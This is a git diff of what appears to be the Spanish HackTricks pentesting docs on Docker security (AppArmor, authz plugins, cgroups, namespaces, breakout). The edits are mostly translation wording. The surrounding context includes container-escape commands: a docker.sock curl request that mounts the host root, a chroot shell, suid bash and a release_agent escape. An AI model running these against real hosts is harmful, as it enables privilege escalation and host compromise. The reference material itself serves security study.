que el exploit funcione. +- **`--cap-add= [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> Para [escalar abusando de capacidades](../linux-capabilities.md), **concede esa capacidad al contenedor** y desactiva otros métodos de protección que puedan impedir que el exploit funcione. ### Curl diff --git a/src/linux-hardening/privilege-escalation/docker-security/apparmor.md b/src/linux-hardening/privilege-escalation/docker-security/apparmor.md index 8cb5df4fb..052929ded 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/apparmor.md +++ b/src/linux-hardening/privilege-escalation/docker-security/apparmor.md @@ -37,8 +37,8 @@ aa-mergeprof #used to merge the policies ``` ## Creando un perfil -- Para indicar el ejecutable afectado, se permiten **rutas absolutas y comodines** para especificar archivos. -- Para indicar el acceso que tendrá el binario sobre **archivos**, se pueden utilizar los siguientes **controles de acceso**: +- Para indicar el ejecutable afectado, se permiten **rutas absolutas y comodines** (para la coincidencia de archivos) para especificar archivos. +- Para indicar el acceso que tendrá el binario sobre **archivos**, se pueden usar los siguientes **controles de acceso**: - **r** (leer) - **w** (escribir) - **m** (mapa de memoria como ejecutable) @@ -108,7 +108,7 @@ La siguiente herramienta leerá los registros y preguntará al usuario si desea sudo aa-logprof ``` > [!NOTE] -> Usando las teclas de flecha puedes seleccionar lo que deseas permitir/negar/o lo que sea +> Usando las teclas de flecha puedes seleccionar lo que deseas permitir/negar/cualquier cosa ### Gestionando un Perfil ```bash @@ -166,7 +166,7 @@ Por defecto, el **perfil docker-default de Apparmor** se genera a partir de [htt **Resumen del perfil docker-default**: - **Acceso** a toda la **red** -- **No se define ninguna capacidad** (Sin embargo, algunas capacidades provendrán de incluir reglas base básicas es decir, #include \) +- **No se define ninguna capacidad** (Sin embargo, algunas capacidades provendrán de incluir reglas básicas, es decir, #include \) - **Escribir** en cualquier archivo de **/proc** **no está permitido** - Otros **subdirectorios**/**archivos** de /**proc** y /**sys** tienen acceso de lectura/escritura/bloqueo/enlace/ejecución **denegado** - **Montar** **no está permitido** diff --git a/src/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md b/src/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md index c5c925020..6a0ddc2e3 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md +++ b/src/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md @@ -8,7 +8,7 @@ Los plugins de autenticación de Docker son **plugins externos** que puedes usar **[La siguiente información es de la documentación](https://docs.docker.com/engine/extend/plugins_authorization/#:~:text=If%20you%20require%20greater%20access,access%20to%20the%20Docker%20daemon)** -Cuando se realiza una **solicitud HTTP** al **daemon** de Docker a través de la CLI o mediante la API del Engine, el **subsystema de autenticación** **pasa** la solicitud a los **plugins de autenticación** instalados. La solicitud contiene el usuario (llamador) y el contexto del comando. El **plugin** es responsable de decidir si **permitir** o **negar** la solicitud. +Cuando se realiza una **solicitud HTTP** al **daemon** de Docker a través de la CLI o mediante la API del Engine, el **sub-sistema de autenticación** **pasa** la solicitud a los **plugins de autenticación** instalados. La solicitud contiene el usuario (llamador) y el contexto del comando. El **plugin** es responsable de decidir si **permitir** o **negar** la solicitud. Los diagramas de secuencia a continuación representan un flujo de autorización de permitir y negar: @@ -30,7 +30,7 @@ Eres responsable de **registrar** tu **plugin** como parte del **inicio** del da ## Twistlock AuthZ Broker -El plugin [**authz**](https://github.com/twistlock/authz) te permite crear un archivo **JSON** simple que el **plugin** estará **leyendo** para autorizar las solicitudes. Por lo tanto, te da la oportunidad de controlar muy fácilmente qué puntos finales de API pueden alcanzar a cada usuario. +El plugin [**authz**](https://github.com/twistlock/authz) te permite crear un archivo **JSON** simple que el **plugin** estará **leyendo** para autorizar las solicitudes. Por lo tanto, te da la oportunidad de controlar muy fácilmente qué puntos finales de la API pueden alcanzar a cada usuario. Este es un ejemplo que permitirá a Alice y Bob crear nuevos contenedores: `{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}` @@ -92,19 +92,19 @@ host> /tmp/bash > [!NOTE] > Tenga en cuenta que tal vez no pueda montar la carpeta `/tmp`, pero puede montar una **carpeta diferente y escribible**. Puede encontrar directorios escribibles usando: `find / -writable -type d 2>/dev/null` > -> **¡Tenga en cuenta que no todos los directorios en una máquina linux admitirán el bit suid!** Para verificar qué directorios admiten el bit suid, ejecute `mount | grep -v "nosuid"` Por ejemplo, generalmente `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` y `/var/lib/lxcfs` no admiten el bit suid. +> **¡Tenga en cuenta que no todos los directorios en una máquina linux soportarán el bit suid!** Para verificar qué directorios soportan el bit suid, ejecute `mount | grep -v "nosuid"` Por ejemplo, generalmente `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` y `/var/lib/lxcfs` no soportan el bit suid. > > También tenga en cuenta que si puede **montar `/etc`** o cualquier otra carpeta **que contenga archivos de configuración**, puede cambiarlos desde el contenedor de docker como root para **abusar de ellos en el host** y escalar privilegios (tal vez modificando `/etc/shadow`) -## Endpoint de API no verificado +## Unchecked API Endpoint La responsabilidad del sysadmin que configura este plugin sería controlar qué acciones y con qué privilegios cada usuario puede realizar. Por lo tanto, si el administrador adopta un enfoque de **lista negra** con los endpoints y los atributos, podría **olvidar algunos de ellos** que podrían permitir a un atacante **escalar privilegios.** Puede consultar la API de docker en [https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#) -## Estructura JSON no verificada +## Unchecked JSON Structure -### Montajes en root +### Binds in root Es posible que cuando el sysadmin configuró el firewall de docker, **olvidara algún parámetro importante** de la [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) como "**Binds**".\ En el siguiente ejemplo, es posible abusar de esta mala configuración para crear y ejecutar un contenedor que monte la carpeta raíz (/) del host: @@ -122,7 +122,7 @@ docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it ### Binds en HostConfig -Sigue la misma instrucción que con **Binds en raíz** realizando esta **request** a la API de Docker: +Sigue la misma instrucción que con **Binds en raíz** realizando esta **solicitud** a la API de Docker: ```bash curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Binds":["/:/host"]}}' http:/v1.40/containers/create ``` diff --git a/src/linux-hardening/privilege-escalation/docker-security/cgroups.md b/src/linux-hardening/privilege-escalation/docker-security/cgroups.md index de59a6091..89d01dad7 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/cgroups.md +++ b/src/linux-hardening/privilege-escalation/docker-security/cgroups.md @@ -8,7 +8,7 @@ Hay **dos versiones de cgroups**: versión 1 y versión 2. Ambas pueden ser utilizadas de manera concurrente en un sistema. La principal distinción es que **cgroups versión 2** introduce una **estructura jerárquica, en forma de árbol**, que permite una distribución de recursos más matizada y detallada entre grupos de procesos. Además, la versión 2 trae varias mejoras, incluyendo: -Además de la nueva organización jerárquica, cgroups versión 2 también introdujo **cambios y mejoras adicionales**, como soporte para **nuevos controladores de recursos**, mejor soporte para aplicaciones heredadas y un rendimiento mejorado. +Además de la nueva organización jerárquica, cgroups versión 2 también introdujo **varios otros cambios y mejoras**, como soporte para **nuevos controladores de recursos**, mejor soporte para aplicaciones heredadas y rendimiento mejorado. En general, cgroups **versión 2 ofrece más características y mejor rendimiento** que la versión 1, pero esta última aún puede ser utilizada en ciertos escenarios donde la compatibilidad con sistemas más antiguos es una preocupación. @@ -31,9 +31,9 @@ La estructura de salida es la siguiente: - **Números 2–12**: cgroups v1, con cada línea representando un cgroup diferente. Los controladores para estos se especifican adyacentes al número. - **Número 1**: También cgroups v1, pero únicamente para fines de gestión (establecido por, por ejemplo, systemd), y carece de un controlador. -- **Número 0**: Representa cgroups v2. No se enumeran controladores, y esta línea es exclusiva en sistemas que solo ejecutan cgroups v2. +- **Número 0**: Representa cgroups v2. No se listan controladores, y esta línea es exclusiva en sistemas que solo ejecutan cgroups v2. - Los **nombres son jerárquicos**, asemejándose a rutas de archivos, indicando la estructura y relación entre diferentes cgroups. -- **Nombres como /user.slice o /system.slice** especifican la categorización de cgroups, siendo user.slice típicamente para sesiones de inicio gestionadas por systemd y system.slice para servicios del sistema. +- **Nombres como /user.slice o /system.slice** especifican la categorización de cgroups, con user.slice típicamente para sesiones de inicio gestionadas por systemd y system.slice para servicios del sistema. ### Visualizando cgroups @@ -45,7 +45,7 @@ Los archivos de interfaz clave para cgroups están prefijados con **cgroup**. El ![Cgroup Procs](<../../../images/image (281).png>) -Los cgroups que gestionan shells típicamente abarcan dos controladores que regulan el uso de memoria y el conteo de procesos. Para interactuar con un controlador, se deben consultar los archivos que llevan el prefijo del controlador. Por ejemplo, **pids.current** se referiría para determinar el conteo de hilos en el cgroup. +Los cgroups que gestionan shells típicamente abarcan dos controladores que regulan el uso de memoria y el conteo de procesos. Para interactuar con un controlador, se deben consultar archivos que lleven el prefijo del controlador. Por ejemplo, **pids.current** se referiría para determinar el conteo de hilos en el cgroup. ![Cgroup Memory](<../../../images/image (677).png>) @@ -69,7 +69,7 @@ echo 3000 > pids.max ```bash echo "+cpu +pids" > cgroup.subtree_control ``` -El **root cgroup** es una excepción a estas reglas, permitiendo la colocación directa de procesos. Esto se puede utilizar para eliminar procesos de la gestión de systemd. +El **cgroup raíz** es una excepción a estas reglas, permitiendo la colocación directa de procesos. Esto se puede utilizar para eliminar procesos de la gestión de systemd. **Monitorear el uso de CPU** dentro de un cgroup es posible a través del archivo `cpu.stat`, que muestra el tiempo total de CPU consumido, útil para rastrear el uso a través de los subprocesos de un servicio: diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md index 3d4495252..21654c4d3 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md @@ -347,9 +347,9 @@ bash -p #From non priv inside mounted folder ### Escalación de privilegios con 2 shells Si tienes acceso como **root dentro de un contenedor** y has **escapado como un usuario no privilegiado al host**, puedes abusar de ambas shells para **privesc dentro del host** si tienes la capacidad MKNOD dentro del contenedor (es por defecto) como [**se explica en esta publicación**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\ -Con tal capacidad, el usuario root dentro del contenedor puede **crear archivos de dispositivos de bloque**. Los archivos de dispositivos son archivos especiales que se utilizan para **acceder al hardware subyacente y a los módulos del kernel**. Por ejemplo, el archivo de dispositivo de bloque /dev/sda da acceso para **leer los datos en bruto en el disco del sistema**. +Con tal capacidad, el usuario root dentro del contenedor puede **crear archivos de dispositivos de bloque**. Los archivos de dispositivos son archivos especiales que se utilizan para **acceder al hardware subyacente y a los módulos del kernel**. Por ejemplo, el archivo de dispositivo de bloque /dev/sda da acceso para **leer los datos en bruto del disco del sistema**. -Docker protege contra el uso indebido de dispositivos de bloque dentro de los contenedores al hacer cumplir una política de cgroup que **bloquea las operaciones de lectura/escritura de dispositivos de bloque**. Sin embargo, si un dispositivo de bloque es **creado dentro del contenedor**, se vuelve accesible desde fuera del contenedor a través del directorio **/proc/PID/root/**. Este acceso requiere que el **propietario del proceso sea el mismo** tanto dentro como fuera del contenedor. +Docker protege contra el uso indebido de dispositivos de bloque dentro de los contenedores al hacer cumplir una política de cgroup que **bloquea las operaciones de lectura/escritura de dispositivos de bloque**. Sin embargo, si un dispositivo de bloque es **creado dentro del contenedor**, se vuelve accesible desde fuera del contenedor a través del **/proc/PID/root/** directorio. Este acceso requiere que el **propietario del proceso sea el mismo** tanto dentro como fuera del contenedor. Ejemplo de **explotación** de este [**informe**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/): ```bash @@ -423,7 +423,7 @@ También puedes **matar procesos y causar un DoS**. ``` docker run --rm -it --network=host ubuntu bash ``` -Si un contenedor fue configurado con el Docker [host networking driver (`--network=host`)](https://docs.docker.com/network/host/), la pila de red de ese contenedor no está aislada del host de Docker (el contenedor comparte el espacio de nombres de red del host), y el contenedor no recibe su propia dirección IP asignada. En otras palabras, el **contenedor vincula todos los servicios directamente a la IP del host**. Además, el contenedor puede **interceptar TODO el tráfico de red que el host** está enviando y recibiendo en la interfaz compartida `tcpdump -i eth0`. +Si un contenedor fue configurado con el controlador de red de Docker [host networking driver (`--network=host`)](https://docs.docker.com/network/host/), la pila de red de ese contenedor no está aislada del host de Docker (el contenedor comparte el espacio de nombres de red del host), y el contenedor no recibe su propia dirección IP asignada. En otras palabras, el **contenedor vincula todos los servicios directamente a la IP del host**. Además, el contenedor puede **interceptar TODO el tráfico de red que el host** está enviando y recibiendo en la interfaz compartida `tcpdump -i eth0`. Por ejemplo, puedes usar esto para **esnifar e incluso suplantar tráfico** entre el host y la instancia de metadatos. diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md index b01bff3b0..3f365b098 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md @@ -2,7 +2,7 @@ {{#include ../../../../banners/hacktricks-training.md}} -**Para más detalles, consulta el** [**post original del blog**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** Esto es solo un resumen: +**Para más detalles, consulta el** [**artículo del blog original**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** Esto es solo un resumen: PoC original: ```shell diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md index cd5d65bb0..98d65680a 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md @@ -14,9 +14,9 @@ Pasos clave: El proceso de explotación implica un conjunto de acciones más detallado, con el objetivo de ejecutar una carga útil en el host adivinando el PID correcto de un proceso que se ejecuta dentro del contenedor. Así es como se desarrolla: -1. **Inicializar Entorno:** Se prepara un script de carga útil (`payload.sh`) en el host, y se crea un directorio único para la manipulación de cgroup. +1. **Inicializar Entorno:** Se prepara un script de carga útil (`payload.sh`) en el host, y se crea un directorio único para la manipulación de cgroups. 2. **Preparar Carga Útil:** Se escribe el script de carga útil, que contiene los comandos a ejecutar en el host, y se hace ejecutable. -3. **Configurar Cgroup:** El cgroup se monta y configura. Se establece la bandera `notify_on_release` para asegurar que la carga útil se ejecute cuando se libere el cgroup. +3. **Configurar Cgroup:** El cgroup se monta y configura. La bandera `notify_on_release` se establece para asegurar que la carga útil se ejecute cuando se libere el cgroup. 4. **Fuerza Bruta de PID:** Un bucle itera a través de PIDs potenciales, escribiendo cada PID adivinado en el archivo `release_agent`. Esto efectivamente establece el script de carga útil como el `release_agent`. 5. **Activar y Verificar Ejecución:** Para cada PID, se escribe en `cgroup.procs` del cgroup, activando la ejecución del `release_agent` si el PID es correcto. El bucle continúa hasta que se encuentra la salida del script de carga útil, indicando una ejecución exitosa. diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md index 008ef073b..c7e50471a 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md @@ -97,21 +97,21 @@ echo b > /proc/sysrq-trigger # Reinicia el host #### **`/proc/kmem`** - Interfaz alternativa para `/dev/kmem`, representando la memoria virtual del kernel. -- Permite la lectura y escritura, por lo tanto, la modificación directa de la memoria del kernel. +- Permite lectura y escritura, por lo tanto, modificación directa de la memoria del kernel. #### **`/proc/mem`** - Interfaz alternativa para `/dev/mem`, representando la memoria física. -- Permite la lectura y escritura, la modificación de toda la memoria requiere resolver direcciones virtuales a físicas. +- Permite lectura y escritura, la modificación de toda la memoria requiere resolver direcciones virtuales a físicas. #### **`/proc/sched_debug`** -- Devuelve información sobre la programación de procesos, eludiendo las protecciones del namespace PID. +- Devuelve información de programación de procesos, eludiendo las protecciones del namespace PID. - Expone nombres de procesos, IDs e identificadores de cgroup. #### **`/proc/[pid]/mountinfo`** -- Proporciona información sobre los puntos de montaje en el namespace de montaje del proceso. +- Proporciona información sobre puntos de montaje en el namespace de montaje del proceso. - Expone la ubicación del `rootfs` o imagen del contenedor. ### Vulnerabilidades de `/sys` diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md b/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md index 4f644d975..4369ae257 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md @@ -11,7 +11,7 @@ Cuando ejecutas un contenedor como privilegiado, estas son las protecciones que En un contenedor privilegiado, todos los **dispositivos pueden ser accedidos en `/dev/`**. Por lo tanto, puedes **escapar** al **montar** el disco del host. {{#tabs}} -{{#tab name="Dentro del contenedor por defecto"}} +{{#tab name="Inside default container"}} ```bash # docker run --rm -it alpine sh ls /dev @@ -147,11 +147,11 @@ Seccomp_filters: 0 # You can manually disable seccomp in docker with --security-opt seccomp=unconfined ``` -También, ten en cuenta que cuando se utilizan Docker (u otros CRIs) en un clúster de **Kubernetes**, el **filtro seccomp está deshabilitado por defecto**. +También, ten en cuenta que cuando Docker (u otros CRIs) se utilizan en un **Kubernetes** cluster, el **filtro seccomp está deshabilitado por defecto**. ### AppArmor -**AppArmor** es una mejora del núcleo para confinar **contenedores** a un conjunto **limitado** de **recursos** con **perfiles por programa**. Cuando ejecutas con la bandera `--privileged`, esta protección está deshabilitada. +**AppArmor** es una mejora del kernel para confinar **contenedores** a un conjunto **limitado** de **recursos** con **perfiles por programa**. Cuando ejecutas con la bandera `--privileged`, esta protección está deshabilitada. {{#ref}} apparmor.md diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md index 2a2ac70bc..9b665de39 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md @@ -34,11 +34,11 @@ Al montar una nueva instancia del sistema de archivos `/proc` si usas el paráme Error: bash: fork: Cannot allocate memory -Cuando se ejecuta `unshare` sin la opción `-f`, se encuentra un error debido a la forma en que Linux maneja los nuevos espacios de nombres de PID (ID de Proceso). Los detalles clave y la solución se describen a continuación: +Cuando se ejecuta `unshare` sin la opción `-f`, se encuentra un error debido a la forma en que Linux maneja los nuevos espacios de nombres de PID (Identificación de Proceso). Los detalles clave y la solución se describen a continuación: 1. **Explicación del Problema**: -- El núcleo de Linux permite a un proceso crear nuevos espacios de nombres utilizando la llamada al sistema `unshare`. Sin embargo, el proceso que inicia la creación de un nuevo espacio de nombres de PID (denominado proceso "unshare") no entra en el nuevo espacio de nombres; solo lo hacen sus procesos hijos. +- El núcleo de Linux permite a un proceso crear nuevos espacios de nombres utilizando la llamada al sistema `unshare`. Sin embargo, el proceso que inicia la creación de un nuevo espacio de nombres de PID (denominado "proceso unshare") no entra en el nuevo espacio de nombres; solo lo hacen sus procesos hijos. - Ejecutar `%unshare -p /bin/bash%` inicia `/bin/bash` en el mismo proceso que `unshare`. En consecuencia, `/bin/bash` y sus procesos hijos están en el espacio de nombres de PID original. - El primer proceso hijo de `/bin/bash` en el nuevo espacio de nombres se convierte en PID 1. Cuando este proceso sale, desencadena la limpieza del espacio de nombres si no hay otros procesos, ya que PID 1 tiene el papel especial de adoptar procesos huérfanos. El núcleo de Linux deshabilitará entonces la asignación de PID en ese espacio de nombres. @@ -48,7 +48,7 @@ Cuando se ejecuta `unshare` sin la opción `-f`, se encuentra un error debido a 3. **Solución**: - El problema se puede resolver utilizando la opción `-f` con `unshare`. Esta opción hace que `unshare` cree un nuevo proceso después de crear el nuevo espacio de nombres de PID. -- Ejecutar `%unshare -fp /bin/bash%` asegura que el comando `unshare` mismo se convierta en PID 1 en el nuevo espacio de nombres. `/bin/bash` y sus procesos hijos están entonces contenidos de manera segura dentro de este nuevo espacio de nombres, previniendo la salida prematura de PID 1 y permitiendo la asignación normal de PID. +- Ejecutar `%unshare -fp /bin/bash%` asegura que el comando `unshare` se convierta en PID 1 en el nuevo espacio de nombres. `/bin/bash` y sus procesos hijos están entonces contenidos de manera segura dentro de este nuevo espacio de nombres, previniendo la salida prematura de PID 1 y permitiendo la asignación normal de PID. Al asegurarte de que `unshare` se ejecute con la bandera `-f`, el nuevo espacio de nombres de PID se mantiene correctamente, permitiendo que `/bin/bash` y sus subprocesos operen sin encontrar el error de asignación de memoria. diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md index 9ad0f90dd..e20c268ea 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md @@ -9,8 +9,8 @@ Un namespace IPC (Comunicación entre Procesos) es una característica del núcl ### Cómo funciona: 1. Cuando se crea un nuevo namespace IPC, comienza con un **conjunto completamente aislado de objetos IPC de System V**. Esto significa que los procesos que se ejecutan en el nuevo namespace IPC no pueden acceder ni interferir con los objetos IPC en otros namespaces o en el sistema host por defecto. -2. Los objetos IPC creados dentro de un namespace son visibles y **accesibles solo para los procesos dentro de ese namespace**. Cada objeto IPC se identifica por una clave única dentro de su namespace. Aunque la clave puede ser idéntica en diferentes namespaces, los objetos en sí están aislados y no pueden ser accedidos entre namespaces. -3. Los procesos pueden moverse entre namespaces utilizando la llamada al sistema `setns()` o crear nuevos namespaces utilizando las llamadas al sistema `unshare()` o `clone()` con la bandera `CLONE_NEWIPC`. Cuando un proceso se mueve a un nuevo namespace o crea uno, comenzará a usar los objetos IPC asociados con ese namespace. +2. Los objetos IPC creados dentro de un namespace son visibles y **accesibles solo para los procesos dentro de ese namespace**. Cada objeto IPC se identifica mediante una clave única dentro de su namespace. Aunque la clave puede ser idéntica en diferentes namespaces, los objetos en sí están aislados y no pueden ser accedidos entre namespaces. +3. Los procesos pueden moverse entre namespaces utilizando la llamada al sistema `setns()` o crear nuevos namespaces utilizando las llamadas al sistema `unshare()` o `clone()` con la bandera `CLONE_NEWIPC`. Cuando un proceso se mueve a un nuevo namespace o crea uno, comenzará a utilizar los objetos IPC asociados con ese namespace. ## Laboratorio: @@ -30,17 +30,17 @@ Cuando se ejecuta `unshare` sin la opción `-f`, se encuentra un error debido a 1. **Explicación del Problema**: -- El núcleo de Linux permite a un proceso crear nuevos espacios de nombres utilizando la llamada al sistema `unshare`. Sin embargo, el proceso que inicia la creación de un nuevo espacio de nombres de PID (denominado "proceso unshare") no entra en el nuevo espacio de nombres; solo lo hacen sus procesos hijos. +- El núcleo de Linux permite a un proceso crear nuevos espacios de nombres utilizando la llamada al sistema `unshare`. Sin embargo, el proceso que inicia la creación de un nuevo espacio de nombres de PID (denominado proceso "unshare") no entra en el nuevo espacio de nombres; solo lo hacen sus procesos hijos. - Ejecutar `%unshare -p /bin/bash%` inicia `/bin/bash` en el mismo proceso que `unshare`. En consecuencia, `/bin/bash` y sus procesos hijos están en el espacio de nombres de PID original. -- El primer proceso hijo de `/bin/bash` en el nuevo espacio de nombres se convierte en PID 1. Cuando este proceso sale, desencadena la limpieza del espacio de nombres si no hay otros procesos, ya que PID 1 tiene el papel especial de adoptar procesos huérfanos. El núcleo de Linux deshabilitará entonces la asignación de PID en ese espacio de nombres. +- El primer proceso hijo de `/bin/bash` en el nuevo espacio de nombres se convierte en PID 1. Cuando este proceso sale, desencadena la limpieza del espacio de nombres si no hay otros procesos, ya que PID 1 tiene el papel especial de adoptar procesos huérfanos. El núcleo de Linux desactivará entonces la asignación de PID en ese espacio de nombres. 2. **Consecuencia**: -- La salida de PID 1 en un nuevo espacio de nombres lleva a la limpieza de la bandera `PIDNS_HASH_ADDING`. Esto resulta en que la función `alloc_pid` falle al intentar asignar un nuevo PID al crear un nuevo proceso, produciendo el error "Cannot allocate memory". +- La salida de PID 1 en un nuevo espacio de nombres lleva a la limpieza de la bandera `PIDNS_HASH_ADDING`. Esto resulta en que la función `alloc_pid` no puede asignar un nuevo PID al crear un nuevo proceso, produciendo el error "Cannot allocate memory". 3. **Solución**: - El problema se puede resolver utilizando la opción `-f` con `unshare`. Esta opción hace que `unshare` cree un nuevo proceso después de crear el nuevo espacio de nombres de PID. -- Ejecutar `%unshare -fp /bin/bash%` asegura que el comando `unshare` se convierta en PID 1 en el nuevo espacio de nombres. `/bin/bash` y sus procesos hijos están entonces contenidos de manera segura dentro de este nuevo espacio de nombres, previniendo la salida prematura de PID 1 y permitiendo la asignación normal de PID. +- Ejecutar `%unshare -fp /bin/bash%` asegura que el comando `unshare` mismo se convierta en PID 1 en el nuevo espacio de nombres. `/bin/bash` y sus procesos hijos están entonces contenidos de manera segura dentro de este nuevo espacio de nombres, previniendo la salida prematura de PID 1 y permitiendo la asignación normal de PID. Al asegurarte de que `unshare` se ejecute con la bandera `-f`, el nuevo espacio de nombres de PID se mantiene correctamente, permitiendo que `/bin/bash` y sus subprocesos operen sin encontrar el error de asignación de memoria. @@ -55,13 +55,13 @@ docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ls -l /proc/self/ns/ipc lrwxrwxrwx 1 root root 0 Apr 4 20:37 /proc/self/ns/ipc -> 'ipc:[4026531839]' ``` -### Encuentra todos los namespaces IPC +### Encontrar todos los namespaces IPC ```bash sudo find /proc -maxdepth 3 -type l -name ipc -exec readlink {} \; 2>/dev/null | sort -u # Find the processes with an specific namespace sudo find /proc -maxdepth 3 -type l -name ipc -exec ls -l {} \; 2>/dev/null | grep ``` -### Entrar en un namespace IPC +### Entrar dentro de un IPC namespace ```bash nsenter -i TARGET_PID --pid /bin/bash ``` diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md index fefaa71fe..b4954d5cd 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md @@ -12,7 +12,7 @@ Los mount namespaces son particularmente útiles en la contenedorización, donde 1. Cuando se crea un nuevo mount namespace, se inicializa con una **copia de los puntos de montaje de su namespace padre**. Esto significa que, al momento de la creación, el nuevo namespace comparte la misma vista del sistema de archivos que su padre. Sin embargo, cualquier cambio posterior en los puntos de montaje dentro del namespace no afectará al padre ni a otros namespaces. 2. Cuando un proceso modifica un punto de montaje dentro de su namespace, como montar o desmontar un sistema de archivos, el **cambio es local a ese namespace** y no afecta a otros namespaces. Esto permite que cada namespace tenga su propia jerarquía de sistema de archivos independiente. -3. Los procesos pueden moverse entre namespaces utilizando la llamada al sistema `setns()`, o crear nuevos namespaces utilizando las llamadas al sistema `unshare()` o `clone()` con la bandera `CLONE_NEWNS`. Cuando un proceso se mueve a un nuevo namespace o crea uno, comenzará a usar los puntos de montaje asociados con ese namespace. +3. Los procesos pueden moverse entre namespaces utilizando la llamada al sistema `setns()`, o crear nuevos namespaces utilizando las llamadas al sistema `unshare()` o `clone()` con la bandera `CLONE_NEWNS`. Cuando un proceso se mueve a un nuevo namespace o crea uno, comenzará a utilizar los puntos de montaje asociados con ese namespace. 4. **Los descriptores de archivo e inodos se comparten entre namespaces**, lo que significa que si un proceso en un namespace tiene un descriptor de archivo abierto que apunta a un archivo, puede **pasar ese descriptor de archivo** a un proceso en otro namespace, y **ambos procesos accederán al mismo archivo**. Sin embargo, la ruta del archivo puede no ser la misma en ambos namespaces debido a las diferencias en los puntos de montaje. ## Laboratorio: diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md index 45b8fa627..9ad548e05 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md @@ -22,7 +22,7 @@ Un namespace de red es una característica del núcleo de Linux que proporciona sudo unshare -n [--mount-proc] /bin/bash # Run ifconfig or ip -a ``` -Al montar una nueva instancia del sistema de archivos `/proc` si usas el parámetro `--mount-proc`, aseguras que el nuevo espacio de montaje tenga una **vista precisa y aislada de la información del proceso específica de ese espacio de nombres**. +Al montar una nueva instancia del sistema de archivos `/proc` si usas el parámetro `--mount-proc`, aseguras que el nuevo espacio de montaje tenga una **vista precisa y aislada de la información del proceso específica para ese espacio de nombres**.
